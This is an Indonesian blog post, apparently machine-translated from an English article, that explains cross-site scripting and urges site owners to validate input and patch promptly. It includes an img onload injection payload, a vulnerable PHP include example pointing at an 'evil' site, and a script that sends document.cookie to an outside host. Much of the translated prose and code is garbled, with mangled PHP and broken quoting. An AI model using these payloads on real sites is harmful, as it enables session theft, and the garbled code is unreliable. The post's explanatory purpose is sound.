Pembongkaran dan Pencurian Sesi Melalui HTML lewat Cross-Site Scripting, atau XSS New Post 2011
XSS adalah dengan tidak berarti sebuah serangan baru, dan telah dijelaskan seringkali sebelumnya. Itu tidak (untuk pengetahuan saya) namun telah dijelaskan dalam sebuah metode yang membuat Wordpress rata-rata atau pengguna phpBB2 termotivasi untuk menjaga perangkat lunak yang mereka gunakan up to date.
Sangat penting untuk dicatat bahwa sementara javascript adalah bahasa yang paling umum digunakan, itu bukan satu-satunya. VBScript, serta teknologi lain seperti ActiveX, Java dan Flash semua dapat digunakan untuk tujuan berbahaya dalam satu atau lain cara.
Serangan XSS melibatkan rata-rata tiga fase: menemukan vektor serangan; menulis naskah untuk kata vektor, dan menulis script untuk hasil akhir. Vektor serangan sangat bervariasi, karena setiap waktu javascript sewenang-wenang dapat dieksekusi oleh browser web pihak ketiga setelah disuntikkan oleh pengguna jahat, layanan ini rentan.
Dalam bentuk paling sederhana, contoh bisa menjadi forum di mana pengguna dapat menentukan URL untuk gambar yang akan diposting di samping atau di bawah nama mereka (umumnya disebut "avatar"). Jika perangkat lunak forum tidak cukup memvalidasi form input dan hanya meliputi apa yang ada di kotak dalam output HTML ke pengguna lain, ada masalah. Situasi ini adalah umum, tapi forum yang paling layak paket akan memvalidasi URL berlalu untuk itu. Tapi demi argumen:
http://some.site.xyz/image.jpeg
menjadi, ketika output:
<img src="http://some.site.xyz/image.jpeg" />
Jadi, jika kita pengguna yang jahat:
http://some.site.xyz/image.jpeg "onload =" alert ('agh!');
menjadi, ketika output:
<img src="http://some.site.xyz/image.jpeg" onload="alert('agh!');" />
Ketika halaman output dimuat dalam browser javascript-enabled, dialog peringatan script harus muncul. Meskipun tidak terlalu berbahaya, ini tes sederhana (yang akan Anda temukan pada pengumuman keamanan paling tentang kerentanan XSS) hanya menggambarkan kenyataan bahwa javascript tidak diinginkan berjalan pada website.
Tentu saja, jika Anda memiliki CGI yang sederhana "buku tamu" script, satu hanya dapat menyertakan tag dalam entri buku tamu <script> mereka jika entri tidak benar divalidasi.
Dalam contoh lain, beberapa programmer PHP telah dikenal untuk menggunakan berikut:
<PHP jika? ($ _GET ['Page']) {
printf ("<html> <title> My Site </ title> \ n");
printf ("body \ n"); printf ("<lh1> My Site </ h1> \ n");
readfile ($ _GET ['halaman']);
printf ("</ body> \ n");
printf ("</ html> \ n");
}?>
Sekarang, dengan asumsi tidak ada validasi lainnya dari $ _GET ['url'], dan pengaturan PHP "allow_url_fopen" diaktifkan (yang itu, secara default), maka salah satu dapat melewati URL remote ke halaman yang berisi javascript berbahaya, dan mengirim url yang dihasilkan untuk korban:
http://some.site.abc/showpage.php?page_url=http% 3A% 2F% 2Fsome.evil.site.xyz% 2Fpage.html
Kedua metode berbeda, karena satu adalah permanen dan memiliki potensi untuk banyak pengguna internet, dan yang lainnya tidak. Metode pertama adalah yang biasa disebut "injeksi script", karena halaman (s) diubah semi-permanen. Contoh yang lebih baru, mengunjungi halaman lain di situs tidak akan menempatkan Anda pada risiko pajanan.
Contoh ketiga bisa via log dan pesan kesalahan. Kerentanan XSS ditemukan sepanjang waktu di perangkat lunak berbasis web, karena setiap kali sesuatu yang lulus dari browser pengguna dan kemudian diarahkan kembali ke halaman HTML itu harus divalidasi. Dalam satu skenario: jika pengguna berbahaya dapat melewati sebuah nama pengguna yang tidak valid dan password untuk website melalui metode GET, dan username tidak valid muncul di website tanpa divalidasi, mereka kemudian dapat kerajinan serangan XSS dalam batas-batas teks ini dan lulus URL ke pengguna lain. Skenario ini tergantung pada tingkat tertentu ketidaktahuan pengguna, namun sebagai orang tidak harus mengklik pada un-terpercaya URL login.
Dalam contoh lain, jika akses pengguna dari sebuah situs web login, dan kemudian log yang dihasilkan dengan HTML, maka hal-hal tertentu seperti User Agent harus divalidasi sebelum ke output yang - jika ketika administrator situs (atau orang lain dengan penebangan akses) dilihat log, sesi mereka beresiko.
"Saya bingung, mengapa ini menjadi masalah?"
Masalahnya adalah bahwa script berpotensi berbahaya dieksekusi oleh browser tanpa izin situs web saat ini atau pengetahuan. Lebih buruk lagi: itu lebih sering daripada tidak dijalankan dalam konteks keamanan dari situs web saat ini, yang berarti memiliki akses ke cookie, bentuk dan semacamnya dan dapat memanipulasi mereka.
Untuk tampilan kekuatan destruktif XSS bila digunakan jahat, melihat ke dalam malapetaka itu mendatangkan di situs populer "myspace.com", atau beberapa (sedikit kurang destruktif) lain menggunakan.
Yang membawa kita tepat ke bagian berikutnya, membahas javascript berbahaya. Jika Anda merasa berani, dan memelihara website Anda sendiri yang menggunakan cookie dengan cara apapun, merasa bebas untuk menambahkan berikut ini pada salah satu halaman Anda:
<script type="text/javascript"> document.location = 'http://www.hungryhacker.com/downloads/test.cgi? " + Document.cookie; </ script>
Jangan khawatir tentang fakta bahwa Anda memiliki akses untuk mengedit halaman Anda dan penyerang tidak akan - aku bertujuan untuk membuktikan pada akhir artikel ini bahwa mencegah XSS adalah cukup sulit. Metode yang digunakan untuk mendapatkan script ke situs web yang populer adalah tidak relevan pada saat ini. Seperti yang akan kita bahas nanti dalam bagian mitigasi, yang cerdik hacker topi hitam selalu datang dengan cara-cara baru untuk menyuntikkan skrip yang tidak diinginkan.
Script di atas diharapkan akan mengarahkan browser untuk melihat sebuah script di server saya, menambahkan cookie dokumen saat ini sampai akhir URL. Karena itu untuk keperluan contoh, semua naskah tertentu tidak adalah mencetak kembali isi cookie dalam teks biasa. Namun, harus sangat jelas bahwa cookie itu bisa login, atau apa pun penyerang terasa seperti melakukannya dengan itu.
Mengambil serangan melangkah lebih jauh, ketika bersenjata dengan cookie sesi pada banyak aplikasi web populer, Anda kemudian bisa mencuri sesi yang memberikan pengguna mereka tidak "log out" untuk sementara. Mitigasi ini sangat sulit - aku membuatnya jauh lebih sulit dengan mengikat sesi pengguna untuk alamat IP-nya untuk webapps saya, tapi ini istirahat dukungan untuk hal-hal seperti Webtv dan beberapa pengguna AOL. Belum lagi masih tidak menghentikan masalah jika pengguna jahat pergi gila dengan javascript dan membuat skrip otomatis yang mengubah password dan alamat email. Ini harus benar-benar dicatat bahwa skenario ini tidak terlalu mengada-ada.
Secara umum ide terbaik adalah untuk melarang penyisipan HTML sewenang-wenang atau script di situs Anda. Hal ini melibatkan lebih dari sekedar tag daftar hitam <script> - satu harus berhati-hati dari atribut-atribut untuk segala macam tag (seperti contoh tag <img> di atas). Sebuah gagasan yang jauh lebih baik adalah untuk tag daftar putih dan atribut mereka, atau jika Anda menggunakan sesuatu seperti BBcode (dari phpBB2 et al), hati-hati memvalidasi URL yang berlalu.
Untuk HTML non, memvalidasi, memvalidasi, memvalidasi. Setiap kali teks diambil dari satu pengguna dan dikirim ke web browser apapun, kita harus memastikan tidak ada entitas HTML di dalamnya yang dapat menyebabkan kita berduka.
Sebuah kutipan populer digunakan dari satu Jon Postel sering reworded sebagai "Jadilah konservatif dalam apa yang Anda kirim, akan liberal dalam apa yang Anda terima" ketika datang ke pemrograman perangkat lunak. Namun saya lebih memilih, untuk beradaptasi itu untuk "menjadi liberal dalam apa yang Anda harapkan, menjadi konservatif dalam apa yang Anda terima" - terutama ketika datang ke pengguna-data yang berlalu. Saya sepenuh hati merekomendasikan validasi yang kuat pada setiap bentuk input pengguna.
"Tapi aku bukan penyebar!" Saya mendengar Anda sedih. Karena saya mulai menulis artikel ini untuk non-programmer jenis, saya berhasil mendapatkan trek sedikit off, jadi saya akan mencoba untuk membawa kita kembali. Jika Anda hanya pengguna akhir dari beberapa paket atau lain pada website Anda, Anda tidak keluar dari hutan belum. Situs Anda masih bisa rentan terhadap XSS dan metode lain, dan sebagian dari motivasi saya dalam menulis artikel ini adalah bahwa rata-rata atau pengguna Wordpress MovableType tidak mengambil di mana saja dekat cukup serius. Jangan biarkan aku mulai tentang phpBB2 pengguna, baik.
Hal pertama yang perlu Anda lakukan adalah mencari tahu jika paket-paket tertentu atau script yang Anda gunakan memiliki daftar pengumuman keamanan, dan kemudian berlangganan kepada mereka jika mereka tersedia. Jika tidak, biasakan untuk memeriksa website pengembang untuk update dan berita keamanan - paling banyak, mingguan - dan menerapkan pembaruan telah tersedia. Saya percaya paket Wordpress meliputi pengumuman keamanan dalam halaman administrasi.
Hal berikutnya yang perlu Anda lakukan adalah mengambil pengumuman ini serius. Secara umum, untuk pengguna low-profile software rata-rata tidak begitu penting yang Anda butuhkan untuk menjalankan pulang kerja lebih awal hanya untuk patch perangkat lunak Anda. Namun, meninggalkannya selama lebih dari seminggu hanya praktek yang buruk, cobalah untuk tujuan selama 48 jam.
Intinya adalah, XSS dan lainnya subversif berarti tidak akan pergi. Berkat web browser render beberapa 'benar-benar hancur HTML, ada jumlah yang terus meningkat cara untuk menyelinap script ke halaman Web dinamis. Tentang semua dapat Anda lakukan adalah mempersenjatai diri dengan informasi, dan tetap waspada dalam pembaruan perangkat lunak Anda.
New Post By Rafi Aldiansyah Asikin
Bagi yang mengcopy artikel ini harap sertakan alamat ini : http://rafi-orilya.blogspot.com
Terima Kasih
Tunggu Trik-Trik Selanjutnya....
Jangan pernah putus asa untuk mencoba
Bagi yang mengcopy artikel ini harap sertakan alamat ini : http://rafi-orilya.blogspot.com
Terima Kasih
Tunggu Trik-Trik Selanjutnya....
Jangan pernah putus asa untuk mencoba